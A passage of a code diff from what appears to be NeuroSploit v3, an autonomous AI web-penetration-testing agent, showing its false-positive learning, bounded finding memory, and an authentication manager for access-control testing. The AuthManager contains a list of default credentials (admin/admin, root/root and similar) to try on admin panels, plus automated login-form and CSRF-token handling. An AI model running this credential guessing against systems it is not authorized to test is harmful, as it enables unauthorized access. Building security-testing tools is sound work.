||||
"""Get learned patterns for a specific target domain."""
|
||||
return [
|
||||
p for p in self.custom_patterns
|
||||
if p.target_domain == domain
|
||||
]
|
||||
|
||||
def get_false_positive_rate(self, vuln_type: str) -> float:
|
||||
"""Get the false positive rate for a specific vuln type from historical data."""
|
||||
type_records = [r for r in self.records if r.vuln_type == vuln_type]
|
||||
if not type_records:
|
||||
return 0.5 # No data → assume 50%
|
||||
fp_count = sum(1 for r in type_records if not r.is_true_positive)
|
||||
return fp_count / len(type_records)
|
||||
|
||||
def get_learning_context(self, vuln_type: str, domain: str = "") -> str:
|
||||
"""Generate learning context for AI prompts.
|
||||
|
||||
Returns a formatted string with learned patterns and statistics
|
||||
that can be injected into LLM prompts to improve access control testing.
|
||||
"""
|
||||
parts = []
|
||||
|
||||
# Historical stats
|
||||
type_records = [r for r in self.records if r.vuln_type == vuln_type]
|
||||
if type_records:
|
||||
total = len(type_records)
|
||||
tp = sum(1 for r in type_records if r.is_true_positive)
|
||||
fp = total - tp
|
||||
parts.append(
|
||||
f"Historical {vuln_type} testing: {total} tests, "
|
||||
f"{tp} true positives ({100*tp/total:.0f}%), "
|
||||
f"{fp} false positives ({100*fp/total:.0f}%)"
|
||||
)
|
||||
|
||||
# Most common FP patterns
|
||||
fp_patterns = [r.pattern_type for r in type_records if not r.is_true_positive]
|
||||
if fp_patterns:
|
||||
from collections import Counter
|
||||
common = Counter(fp_patterns).most_common(3)
|
||||
pattern_str = ", ".join(f"{p} ({c}x)" for p, c in common)
|
||||
parts.append(f"Common false positive patterns: {pattern_str}")
|
||||
|
||||
# Domain-specific patterns
|
||||
if domain:
|
||||
domain_patterns = self.get_patterns_for_target(domain)
|
||||
if domain_patterns:
|
||||
for p in domain_patterns[:5]:
|
||||
status = "FALSE POSITIVE" if p.is_false_positive else "TRUE POSITIVE"
|
||||
parts.append(
|
||||
f"Known pattern for {domain}: {p.pattern_type} = {status} "
|
||||
f"(confidence: {p.confidence:.0%})"
|
||||
)
|
||||
|
||||
# Known application FP patterns
|
||||
if domain:
|
||||
for app_name, indicators in self.KNOWN_FP_PATTERNS.items():
|
||||
if any(i in domain.lower() for i in indicators):
|
||||
parts.append(
|
||||
f"WARNING: Target appears to use {app_name} — "
|
||||
f"known for producing false positive access control findings"
|
||||
)
|
||||
|
||||
if not parts:
|
||||
return ""
|
||||
|
||||
return "## Learned Access Control Patterns\n" + "\n".join(f"- {p}" for p in parts)
|
||||
|
||||
def get_evaluation_hints(self, vuln_type: str, response_body: str, status: int) -> Dict:
|
||||
"""Get evaluation hints for a specific response.
|
||||
|
||||
Returns hints that can help the validation judge or AI make better decisions.
|
||||
"""
|
||||
pattern_type = self._classify_response(response_body, status)
|
||||
indicators = self._extract_key_indicators(response_body)
|
||||
|
||||
# Check against default patterns
|
||||
matching_default = [
|
||||
p for p in self.DEFAULT_PATTERNS
|
||||
if any(i.lower() in response_body.lower() for i in p["indicators"] if i)
|
||||
]
|
||||
|
||||
# Check against learned patterns
|
||||
matching_learned = [
|
||||
p for p in self.custom_patterns
|
||||
if p.vuln_type == vuln_type and p.pattern_type == pattern_type
|
||||
]
|
||||
|
||||
fp_signals = sum(
|
||||
1 for p in matching_default if p["is_false_positive"]
|
||||
) + sum(
|
||||
1 for p in matching_learned if p.is_false_positive
|
||||
)
|
||||
|
||||
tp_signals = sum(
|
||||
1 for p in matching_default if not p["is_false_positive"]
|
||||
) + sum(
|
||||
1 for p in matching_learned if not p.is_false_positive
|
||||
)
|
||||
|
||||
return {
|
||||
"pattern_type": pattern_type,
|
||||
"indicators": indicators,
|
||||
"fp_signals": fp_signals,
|
||||
"tp_signals": tp_signals,
|
||||
"likely_false_positive": fp_signals > tp_signals,
|
||||
"matching_patterns": len(matching_default) + len(matching_learned),
|
||||
}
|
||||
@@ -0,0 +1,401 @@
|
||||
"""
|
||||
NeuroSploit v3 - Agent Memory Management
|
||||
|
||||
Bounded, deduplicated memory architecture for the autonomous agent.
|
||||
Replaces ad-hoc self.findings / self.tested_payloads with structured,
|
||||
eviction-aware data stores.
|
||||
|
||||
Inspired by XBOW benchmark methodology: every finding must have
|
||||
real HTTP evidence, duplicates are suppressed, baselines are cached.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import re
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from datetime import datetime
|
||||
from typing import Dict, List, Optional, Any, Set
|
||||
from collections import OrderedDict
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data classes
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class TestedCombination:
|
||||
"""Record of a (url, param, vuln_type) test attempt"""
|
||||
url: str
|
||||
param: str
|
||||
vuln_type: str
|
||||
payloads_used: List[str] = field(default_factory=list)
|
||||
was_vulnerable: bool = False
|
||||
tested_at: str = ""
|
||||
|
||||
def __post_init__(self):
|
||||
if not self.tested_at:
|
||||
self.tested_at = datetime.utcnow().isoformat()
|
||||
|
||||
|
||||
@dataclass
|
||||
class EndpointFingerprint:
|
||||
"""Fingerprint of an endpoint's normal response"""
|
||||
url: str
|
||||
status_code: int = 0
|
||||
content_type: str = ""
|
||||
body_length: int = 0
|
||||
body_hash: str = ""
|
||||
server_header: str = ""
|
||||
powered_by: str = ""
|
||||
error_patterns: List[str] = field(default_factory=list)
|
||||
tech_headers: Dict[str, str] = field(default_factory=dict)
|
||||
fingerprinted_at: str = ""
|
||||
|
||||
def __post_init__(self):
|
||||
if not self.fingerprinted_at:
|
||||
self.fingerprinted_at = datetime.utcnow().isoformat()
|
||||
|
||||
|
||||
@dataclass
|
||||
class RejectedFinding:
|
||||
"""Audit trail for rejected findings"""
|
||||
finding_hash: str
|
||||
vuln_type: str
|
||||
endpoint: str
|
||||
param: str
|
||||
reason: str
|
||||
rejected_at: str = ""
|
||||
|
||||
def __post_init__(self):
|
||||
if not self.rejected_at:
|
||||
self.rejected_at = datetime.utcnow().isoformat()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Speculative language patterns (anti-hallucination)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
SPECULATIVE_PATTERNS = re.compile(
|
||||
r"\b(could be|might be|may be|theoretically|potentially vulnerable|"
|
||||
r"possibly|appears to be vulnerable|suggests? (a )?vulnerab|"
|
||||
r"it is possible|in theory|hypothetically)\b",
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# AgentMemory
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class AgentMemory:
|
||||
"""
|
||||
Bounded memory store for the autonomous agent.
|
||||
|
||||
All containers have hard caps. When a cap is reached, the oldest 25%
|
||||
of entries are evicted (LRU-style).
|
||||
"""
|
||||
|
||||
# Capacity limits
|
||||
MAX_TESTED = 10_000
|
||||
MAX_BASELINES = 500
|
||||
MAX_FINGERPRINTS = 500
|
||||
MAX_CONFIRMED = 200
|
||||
MAX_REJECTED = 500
|
||||
|
||||
# Domain-scoped types: only 1 finding per domain (not per URL)
|
||||
DOMAIN_SCOPED_TYPES = {
|
||||
# Infrastructure / headers
|
||||
"security_headers", "clickjacking", "insecure_http_headers",
|
||||
"missing_xcto", "missing_csp", "missing_hsts",
|
||||
"missing_referrer_policy", "missing_permissions_policy",
|
||||
"cors_misconfig", "insecure_cors_policy", "ssl_issues", "weak_tls_config",
|
||||
"http_methods", "unrestricted_http_methods",
|
||||
# Server config
|
||||
"debug_mode", "debug_mode_enabled", "verbose_error_messages",
|
||||
"directory_listing", "directory_listing_enabled",
|
||||
"exposed_admin_panel", "exposed_api_docs", "insecure_cookie_flags",
|
||||
# Data exposure
|
||||
"cleartext_transmission", "sensitive_data_exposure",
|
||||
"information_disclosure", "version_disclosure",
|
||||
"weak_encryption", "weak_hashing", "weak_random",
|
||||
# Auth config
|
||||
"missing_mfa", "weak_password_policy", "weak_password",
|
||||
# Cloud/API
|
||||
"graphql_introspection", "rest_api_versioning", "api_rate_limiting",
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
# Core stores (OrderedDict for eviction order)
|
||||
self.tested_combinations: OrderedDict[str, TestedCombination] = OrderedDict()
|
||||
self.baseline_responses: OrderedDict[str, dict] = OrderedDict()
|
||||
self.endpoint_fingerprints: OrderedDict[str, EndpointFingerprint] = OrderedDict()
|
||||
|
||||
# Findings
|
||||
self.confirmed_findings: List[Any] = [] # List[Finding] - uses agent's Finding dataclass
|
||||
self._finding_hashes: Set[str] = set() # fast dedup lookup
|
||||
|
||||
# Audit trail
|
||||
self.rejected_findings: List[RejectedFinding] = []
|
||||
|
||||
# Technology stack detected across all endpoints
|
||||
self.technology_stack: Dict[str, str] = {} # e.g. {"server": "Apache", "x-powered-by": "PHP/8.1"}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Tested-combination tracking
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _test_key(url: str, param: str, vuln_type: str) -> str:
|
||||
"""Deterministic key for a (url, param, vuln_type) tuple"""
|
||||
return hashlib.sha256(f"{url}|{param}|{vuln_type}".encode()).hexdigest()
|
||||
|
||||
def was_tested(self, url: str, param: str, vuln_type: str) -> bool:
|
||||
"""Check whether this combination was already tested"""
|
||||
return self._test_key(url, param, vuln_type) in self.tested_combinations
|
||||
|
||||
def record_test(
|
||||
self, url: str, param: str, vuln_type: str,
|
||||
payloads: List[str], was_vulnerable: bool = False
|
||||
):
|
||||
"""Record a completed test"""
|
||||
key = self._test_key(url, param, vuln_type)
|
||||
self.tested_combinations[key] = TestedCombination(
|
||||
url=url, param=param, vuln_type=vuln_type,
|
||||
payloads_used=payloads[:10], # store up to 10 payloads
|
||||
was_vulnerable=was_vulnerable,
|
||||
)
|
||||
self._enforce_limit(self.tested_combinations, self.MAX_TESTED)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Baseline caching
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _baseline_key(url: str) -> str:
|
||||
"""Key for baseline storage (strip query params for reuse)"""
|
||||
from urllib.parse import urlparse
|
||||
parsed = urlparse(url)
|
||||
return f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
|
||||
|
||||
def store_baseline(self, url: str, response: dict):
|
||||
"""Cache a baseline (clean) response for a URL"""
|
||||
key = self._baseline_key(url)
|
||||
body = response.get("body", "")
|
||||
self.baseline_responses[key] = {
|
||||
"status": response.get("status", 0),
|
||||
"content_type": response.get("content_type", ""),
|
||||
"body_length": len(body),
|
||||
"body_hash": hashlib.md5(body.encode("utf-8", errors="replace")).hexdigest(),
|
||||
"body": body[:5000], # store first 5k chars for comparison
|
||||
"headers": response.get("headers", {}),
|
||||
"fetched_at": datetime.utcnow().isoformat(),
|
||||
}
|
||||
self._enforce_limit(self.baseline_responses, self.MAX_BASELINES)
|
||||
|
||||
def get_baseline(self, url: str) -> Optional[dict]:
|
||||
"""Retrieve cached baseline for a URL"""
|
||||
key = self._baseline_key(url)
|
||||
baseline = self.baseline_responses.get(key)
|
||||
if baseline:
|
||||
# Move to end (mark as recently used)
|
||||
self.baseline_responses.move_to_end(key)
|
||||
return baseline
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Endpoint fingerprinting
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def store_fingerprint(self, url: str, response: dict):
|
||||
"""Extract and store endpoint fingerprint from a response"""
|
||||
key = self._baseline_key(url)
|
||||
headers = response.get("headers", {})
|
||||
body = response.get("body", "")
|
||||
|
||||
# Detect error patterns in the body
|
||||
error_patterns = []
|
||||
error_regexes = [
|
||||
r"(?:sql|database|query)\s*(?:error|syntax|exception)",
|
||||
r"(?:warning|fatal|parse)\s*(?:error|exception)",
|
||||
r"stack\s*trace",
|
||||
r"traceback\s*\(most recent",
|
||||
r"<b>(?:Warning|Fatal error|Notice)</b>",
|
||||
r"Internal Server Error",
|
||||
]
|
||||
body_lower = body.lower() if body else ""
|
||||
for pat in error_regexes:
|
||||
if re.search(pat, body_lower):
|
||||
error_patterns.append(pat)
|
||||
|
||||
fp = EndpointFingerprint(
|
||||
url=url,
|
||||
status_code=response.get("status", 0),
|
||||
content_type=response.get("content_type", ""),
|
||||
body_length=len(body),
|
||||
body_hash=hashlib.md5(body.encode("utf-8", errors="replace")).hexdigest(),
|
||||
server_header=headers.get("server", headers.get("Server", "")),
|
||||
powered_by=headers.get("x-powered-by", headers.get("X-Powered-By", "")),
|
||||
error_patterns=error_patterns,
|
||||
tech_headers={
|
||||
k: v for k, v in headers.items()
|
||||
if k.lower() in (
|
||||
"server", "x-powered-by", "x-aspnet-version",
|
||||
"x-generator", "x-drupal-cache", "x-framework",
|
||||
)
|
||||
},
|
||||
)
|
||||
self.endpoint_fingerprints[key] = fp
|
||||
self._enforce_limit(self.endpoint_fingerprints, self.MAX_FINGERPRINTS)
|
||||
|
||||
# Update global tech stack
|
||||
if fp.server_header:
|
||||
self.technology_stack["server"] = fp.server_header
|
||||
if fp.powered_by:
|
||||
self.technology_stack["x-powered-by"] = fp.powered_by
|
||||
for k, v in fp.tech_headers.items():
|
||||
self.technology_stack[k.lower()] = v
|
||||
|
||||
def get_fingerprint(self, url: str) -> Optional[EndpointFingerprint]:
|
||||
"""Retrieve fingerprint for a URL"""
|
||||
key = self._baseline_key(url)
|
||||
return self.endpoint_fingerprints.get(key)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Finding management (dedup + bounded)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _finding_hash(finding) -> str:
|
||||
"""Compute dedup hash for a finding.
|
||||
For domain-scoped types, uses scheme://netloc instead of full URL
|
||||
so the same missing header isn't reported per-URL.
|
||||
"""
|
||||
vuln_type = finding.vulnerability_type
|
||||
endpoint = finding.affected_endpoint
|
||||
if vuln_type in AgentMemory.DOMAIN_SCOPED_TYPES:
|
||||
parsed = urlparse(endpoint)
|
||||
scope_key = f"{parsed.scheme}://{parsed.netloc}"
|
||||
else:
|
||||
scope_key = endpoint
|
||||
raw = f"{vuln_type}|{scope_key}|{finding.parameter}"
|
||||
return hashlib.sha256(raw.encode()).hexdigest()
|
||||
|
||||
def _find_existing(self, finding) -> Optional[Any]:
|
||||
"""Find an existing confirmed finding with the same dedup hash."""
|
||||
fh = self._finding_hash(finding)
|
||||
if fh not in self._finding_hashes:
|
||||
return None
|
||||
for f in self.confirmed_findings:
|
||||
if self._finding_hash(f) == fh:
|
||||
return f
|
||||
return None
|
||||
|
||||
def add_finding(self, finding) -> bool:
|
||||
"""
|
||||
Add a confirmed finding. Returns False if:
|
||||
- duplicate (same vuln_type + endpoint + param)
|
||||
- at capacity
|
||||
- evidence is missing or speculative
|
||||
|
||||
For domain-scoped types, duplicates append the URL to
|
||||
the existing finding's affected_urls list instead.
|
||||
"""
|
||||
fh = self._finding_hash(finding)
|
||||
|
||||
# Dedup check — for domain-scoped types, merge URLs
|
||||
if fh in self._finding_hashes:
|
||||
if finding.vulnerability_type in self.DOMAIN_SCOPED_TYPES:
|
||||
existing = self._find_existing(finding)
|
||||
if existing and hasattr(existing, "affected_urls"):
|
||||
url = finding.affected_endpoint
|
||||
if url and url not in existing.affected_urls:
|
||||
existing.affected_urls.append(url)
|
||||
return False
|
||||
|
||||
# Capacity check
|
||||
if len(self.confirmed_findings) >= self.MAX_CONFIRMED:
|
||||
return False
|
||||
|
||||
# Evidence quality check
|
||||
if not finding.evidence and not finding.response:
|
||||
return False
|
||||
|
||||
# Speculative language check
|
||||
if finding.evidence and SPECULATIVE_PATTERNS.search(finding.evidence):
|
||||
self.reject_finding(finding, "Speculative language in evidence")
|
||||
return False
|
||||
|
||||
self.confirmed_findings.append(finding)
|
||||
self._finding_hashes.add(fh)
|
||||
return True
|
||||
|
||||
def reject_finding(self, finding, reason: str):
|
||||
"""Record a rejected finding for audit"""
|
||||
self.rejected_findings.append(RejectedFinding(
|
||||
finding_hash=self._finding_hash(finding),
|
||||
vuln_type=getattr(finding, "vulnerability_type", "unknown"),
|
||||
endpoint=getattr(finding, "affected_endpoint", ""),
|
||||
param=getattr(finding, "parameter", ""),
|
||||
reason=reason,
|
||||
))
|
||||
if len(self.rejected_findings) > self.MAX_REJECTED:
|
||||
# Evict oldest 25%
|
||||
cut = self.MAX_REJECTED // 4
|
||||
self.rejected_findings = self.rejected_findings[cut:]
|
||||
|
||||
def has_finding_for(self, vuln_type: str, endpoint: str, param: str = "") -> bool:
|
||||
"""Check if a confirmed finding already exists for this combo.
|
||||
Uses domain-scoped key for domain-scoped types.
|
||||
"""
|
||||
if vuln_type in self.DOMAIN_SCOPED_TYPES:
|
||||
parsed = urlparse(endpoint)
|
||||
scope_key = f"{parsed.scheme}://{parsed.netloc}"
|
||||
else:
|
||||
scope_key = endpoint
|
||||
raw = f"{vuln_type}|{scope_key}|{param}"
|
||||
fh = hashlib.sha256(raw.encode()).hexdigest()
|
||||
return fh in self._finding_hashes
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Eviction helper
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _enforce_limit(od: OrderedDict, limit: int):
|
||||
"""Evict oldest 25% when limit is exceeded"""
|
||||
if len(od) <= limit:
|
||||
return
|
||||
to_remove = limit // 4
|
||||
for _ in range(to_remove):
|
||||
od.popitem(last=False) # pop oldest
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Stats / introspection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def stats(self) -> dict:
|
||||
"""Return memory usage statistics"""
|
||||
return {
|
||||
"tested_combinations": len(self.tested_combinations),
|
||||
"baseline_responses": len(self.baseline_responses),
|
||||
"endpoint_fingerprints": len(self.endpoint_fingerprints),
|
||||
"confirmed_findings": len(self.confirmed_findings),
|
||||
"rejected_findings": len(self.rejected_findings),
|
||||
"technology_stack": dict(self.technology_stack),
|
||||
"limits": {
|
||||
"tested": self.MAX_TESTED,
|
||||
"baselines": self.MAX_BASELINES,
|
||||
"fingerprints": self.MAX_FINGERPRINTS,
|
||||
"confirmed": self.MAX_CONFIRMED,
|
||||
"rejected": self.MAX_REJECTED,
|
||||
},
|
||||
}
|
||||
|
||||
def clear(self):
|
||||
"""Reset all memory stores"""
|
||||
self.tested_combinations.clear()
|
||||
self.baseline_responses.clear()
|
||||
self.endpoint_fingerprints.clear()
|
||||
self.confirmed_findings.clear()
|
||||
self._finding_hashes.clear()
|
||||
self.rejected_findings.clear()
|
||||
self.technology_stack.clear()
|
||||
@@ -0,0 +1,596 @@
|
||||
"""
|
||||
NeuroSploit v3 - Authentication Manager
|
||||
|
||||
Autonomous login, session management, multi-user context for
|
||||
BOLA/BFLA/IDOR testing. Handles login form detection, CSRF extraction,
|
||||
credential management, and session refresh.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
from typing import Callable, Dict, List, Optional, Any
|
||||
from urllib.parse import urlparse, urljoin
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass
|
||||
class Credentials:
|
||||
"""A set of credentials for testing."""
|
||||
username: str
|
||||
password: str
|
||||
role: str = "user" # user, admin
|
||||
source: str = "provided" # provided, discovered, default
|
||||
|
||||
|
||||
@dataclass
|
||||
class SessionContext:
|
||||
"""Authentication session state."""
|
||||
name: str # "user_a", "user_b", "admin"
|
||||
role: str # user, admin
|
||||
cookies: Dict[str, str] = field(default_factory=dict)
|
||||
tokens: Dict[str, str] = field(default_factory=dict) # bearer, jwt, api_key
|
||||
headers: Dict[str, str] = field(default_factory=dict) # Authorization: Bearer xxx
|
||||
state: str = "unauthenticated" # unauthenticated, authenticating, authenticated, expired
|
||||
login_time: Optional[float] = None
|
||||
credential: Optional[Credentials] = None
|
||||
login_url: Optional[str] = None
|
||||
session_duration: float = 3600.0 # Estimated session lifetime (1 hour default)
|
||||
|
||||
|
||||
@dataclass
|
||||
class LoginForm:
|
||||
"""Detected login form."""
|
||||
url: str # Form action URL
|
||||
method: str # POST usually
|
||||
username_field: str # name attribute of username input
|
||||
password_field: str # name attribute of password input
|
||||
csrf_field: Optional[str] = None
|
||||
csrf_value: Optional[str] = None
|
||||
extra_fields: Dict[str, str] = field(default_factory=dict)
|
||||
confidence: float = 0.0
|
||||
|
||||
|
||||
class AuthManager:
|
||||
"""Autonomous authentication manager.
|
||||
|
||||
Manages login automation, session tracking, and multi-user
|
||||
contexts for access control vulnerability testing.
|
||||
|
||||
Features:
|
||||
- Login form detection from HTML
|
||||
- CSRF token extraction
|
||||
- Credential management (provided + discovered)
|
||||
- Session state machine (unauthenticated -> authenticated -> expired)
|
||||
- Multi-user contexts for BOLA/BFLA/IDOR testing
|
||||
- Auto session refresh on expiry detection
|
||||
- Token extraction from responses (JWT, Bearer, API keys)
|
||||
"""
|
||||
|
||||
# Default credentials to try on admin panels
|
||||
DEFAULT_CREDENTIALS = [
|
||||
Credentials("admin", "admin", "admin", "default"),
|
||||
Credentials("admin", "password", "admin", "default"),
|
||||
Credentials("admin", "admin123", "admin", "default"),
|
||||
Credentials("root", "root", "admin", "default"),
|
||||
Credentials("test", "test", "user", "default"),
|
||||
Credentials("user", "user", "user", "default"),
|
||||
Credentials("admin", "Password1", "admin", "default"),
|
||||
Credentials("administrator", "administrator", "admin", "default"),
|
||||
]
|
||||
|
||||
# Session expiry indicators
|
||||
EXPIRY_INDICATORS = [
|
||||
"session expired", "session timeout", "please log in",
|
||||
"please login", "sign in again", "token expired",
|
||||
"unauthorized", "authentication required", "not authenticated",
|
||||
"jwt expired", "invalid token", "access token expired",
|
||||
]
|
||||
|
||||
# Login success indicators
|
||||
SUCCESS_INDICATORS = [
|
||||
"welcome", "dashboard", "my account", "profile",
|
||||
"logged in", "sign out", "logout", "log out",
|
||||
"home", "settings", "preferences",
|
||||
]
|
||||
|
||||
# Login failure indicators
|
||||
FAILURE_INDICATORS = [
|
||||
"invalid", "incorrect", "wrong", "failed", "error",
|
||||
"denied", "bad credentials", "authentication failed",
|
||||
"login failed", "invalid username", "invalid password",
|
||||
]
|
||||
|
||||
def __init__(self, request_engine=None, recon=None):
|
||||
self.request_engine = request_engine
|
||||
self.recon = recon
|
||||
|
||||
# Credential store
|
||||
self._credentials: Dict[str, List[Credentials]] = {
|
||||
"user": [],
|
||||
"admin": [],
|
||||
}
|
||||
|
||||
# Session contexts
|
||||
self.contexts: Dict[str, SessionContext] = {
|
||||
"user_a": SessionContext(name="user_a", role="user"),
|
||||
"user_b": SessionContext(name="user_b", role="user"),
|
||||
"admin": SessionContext(name="admin", role="admin"),
|
||||
}
|
||||
|
||||
# Discovered login forms
|
||||
self._login_forms: List[LoginForm] = []
|
||||
self._login_attempts = 0
|
||||
self._successful_logins = 0
|
||||
|
||||
# --- Credential Management -------------------------------------------
|
||||
|
||||
def add_credentials(self, username: str, password: str, role: str = "user", source: str = "provided"):
|
||||
"""Add credentials for testing."""
|
||||
cred = Credentials(username, password, role, source)
|
||||
self._credentials.setdefault(role, []).append(cred)
|
||||
logger.debug(f"Added {role} credentials: {username} (source: {source})")
|
||||
|
||||
def add_discovered_credentials(self, creds_list: List[Dict]):
|
||||
"""Add credentials discovered during testing (from info disclosure, etc.)."""
|
||||
for cred_info in creds_list:
|
||||
username = cred_info.get("username", "")
|
||||
password = cred_info.get("password", "")
|
||||
if username and password:
|
||||
self.add_credentials(username, password, role="user", source="discovered")
|
||||
|
||||
def get_credentials_for_role(self, role: str) -> List[Credentials]:
|
||||
"""Get all credentials for a role."""
|
||||
creds = self._credentials.get(role, [])
|
||||
if not creds and role == "admin":
|
||||
return self.DEFAULT_CREDENTIALS[:4] # Only admin defaults
|
||||
if not creds and role == "user":
|
||||
return self.DEFAULT_CREDENTIALS[4:6] # Only user defaults
|
||||
return creds
|
||||
|
||||
# --- Login Form Detection --------------------------------------------
|
||||
|
||||
def detect_login_forms(self, html: str, page_url: str) -> List[LoginForm]:
|
||||
"""Detect login forms in HTML content."""
|
||||
forms = []
|
||||
|
||||
# Find all <form> tags
|
||||
form_pattern = re.compile(
|
||||
r'<form[^>]*>(.*?)</form>',
|
||||
re.DOTALL | re.IGNORECASE
|
||||
)
|
||||
|
||||
for form_match in form_pattern.finditer(html):
|
||||
form_html = form_match.group(0)
|
||||
form_inner = form_match.group(1)
|
||||
|
||||
# Check if this looks like a login form
|
||||
has_password = bool(re.search(r'type=["\']password["\']', form_inner, re.I))
|
||||
if not has_password:
|
||||
continue
|
||||
|
||||
# Extract form action
|
||||
action_match = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
|
||||
action = action_match.group(1) if action_match else page_url
|
||||
if not action.startswith("http"):
|
||||
action = urljoin(page_url, action)
|
||||
|
||||
# Extract method
|
||||
method_match = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
|
||||
method = (method_match.group(1) if method_match else "POST").upper()
|
||||
|
||||
# Find username field
|
||||
username_field = self._find_username_field(form_inner)
|
||||
|
||||
# Find password field
|
||||
password_field = self._find_field_name(form_inner, r'type=["\']password["\']')
|
||||
|
||||
# Find CSRF token
|
||||
csrf_field, csrf_value = self._find_csrf_token(form_inner)
|
||||
|
||||
# Find hidden fields
|
||||
extra_fields = self._find_hidden_fields(form_inner)
|
||||
if csrf_field and csrf_field in extra_fields:
|
||||
del extra_fields[csrf_field]
|
||||
|
||||
# Calculate confidence
|
||||
confidence = 0.5 # Has password field
|
||||
login_keywords = ["login", "signin", "sign-in", "auth", "log-in", "session"]
|
||||
if any(kw in action.lower() for kw in login_keywords):
|
||||
confidence += 0.3
|
||||
if any(kw in form_html.lower() for kw in login_keywords):
|
||||
confidence += 0.2
|
||||
|
||||
if username_field and password_field:
|
||||
forms.append(LoginForm(
|
||||
url=action,
|
||||
method=method,
|
||||
username_field=username_field,
|
||||
password_field=password_field,
|
||||
csrf_field=csrf_field,
|
||||
csrf_value=csrf_value,
|
||||
extra_fields=extra_fields,
|
||||
confidence=min(1.0, confidence),
|
||||
))
|
||||
|
||||
# Sort by confidence
|
||||
forms.sort(key=lambda f: f.confidence, reverse=True)
|
||||
self._login_forms.extend(forms)
|
||||
return forms
|
||||
|
||||
def _find_username_field(self, html: str) -> Optional[str]:
|
||||
"""Find the username/email input field name."""
|
||||
# Priority: explicit username/email fields
|
||||
patterns = [
|
||||
r'name=["\']([^"\']*(?:user|login|email|account)[^"\']*)["\']',
|
||||
r'name=["\']([^"\']*)["\'].*?type=["\'](?:text|email)["\']',
|
||||
r'type=["\'](?:text|email)["\'].*?name=["\']([^"\']*)["\']',
|
||||
]
|
||||
for pattern in patterns:
|
||||
match = re.search(pattern, html, re.I)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
def _find_field_name(self, html: str, type_pattern: str) -> Optional[str]:
|
||||
"""Find field name for a given input type pattern."""
|
||||
# Try: name="x" ... type="password"
|
||||
match = re.search(
|
||||
r'name=["\']([^"\']+)["\'][^>]*' + type_pattern,
|
||||
html, re.I
|
||||
)
|
||||
if match:
|
||||
return match.group(1)
|
||||
# Try: type="password" ... name="x"
|
||||
match = re.search(
|
||||
type_pattern + r'[^>]*name=["\']([^"\']+)["\']',
|
||||
html, re.I
|
||||
)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
def _find_csrf_token(self, html: str):
|
||||
"""Find CSRF token in form."""
|
||||
csrf_patterns = [
|
||||
r'name=["\']([^"\']*(?:csrf|_token|csrfmiddlewaretoken|__RequestVerificationToken|authenticity_token|_csrf_token)[^"\']*)["\'][^>]*value=["\']([^"\']*)["\']',
|
||||
r'value=["\']([^"\']*)["\'][^>]*name=["\']([^"\']*(?:csrf|_token|csrfmiddlewaretoken)[^"\']*)["\']',
|
||||
]
|
||||
for pattern in csrf_patterns:
|
||||
match = re.search(pattern, html, re.I)
|
||||
if match:
|
||||
groups = match.groups()
|
||||
if "csrf" in groups[0].lower() or "_token" in groups[0].lower():
|
||||
return groups[0], groups[1]
|
||||
return groups[1], groups[0]
|
||||
return None, None
|
||||
|
||||
def _find_hidden_fields(self, html: str) -> Dict[str, str]:
|
||||
"""Extract all hidden field name-value pairs."""
|
||||
fields = {}
|
||||
pattern = re.compile(
|
||||
r'type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
|
||||
re.I
|
||||
)
|
||||
for match in pattern.finditer(html):
|
||||
fields[match.group(1)] = match.group(2)
|
||||
|
||||
# Also try reverse order (name before type)
|
||||
pattern2 = re.compile(
|
||||
r'name=["\']([^"\']+)["\'][^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']*)["\']',
|
||||
re.I
|
||||
)
|
||||
for match in pattern2.finditer(html):
|
||||
fields[match.group(1)] = match.group(2)
|
||||
|
||||
return fields
|
||||
|
||||
# --- Authentication --------------------------------------------------
|
||||
|
||||
async def authenticate(self, context_name: str = "user_a") -> bool:
|
||||
"""Attempt to authenticate a session context.
|
||||
|
||||
Tries login forms with available credentials.
|
||||
Returns True if authentication succeeded.
|
||||
"""
|
||||
if not self.request_engine:
|
||||
return False
|
||||
|
||||
ctx = self.contexts.get(context_name)
|
||||
if not ctx:
|
||||
return False
|
||||
|
||||
ctx.state = "authenticating"
|
||||
creds = self.get_credentials_for_role(ctx.role)
|
||||
|
||||
if not creds:
|
||||
logger.debug(f"No credentials available for {context_name} ({ctx.role})")
|
||||
ctx.state = "unauthenticated"
|
||||
return False
|
||||
|
||||
# Find login forms if not already discovered
|
||||
if not self._login_forms:
|
||||
await self._discover_login_forms()
|
||||
|
||||
if not self._login_forms:
|
||||
logger.debug("No login forms found")
|
||||
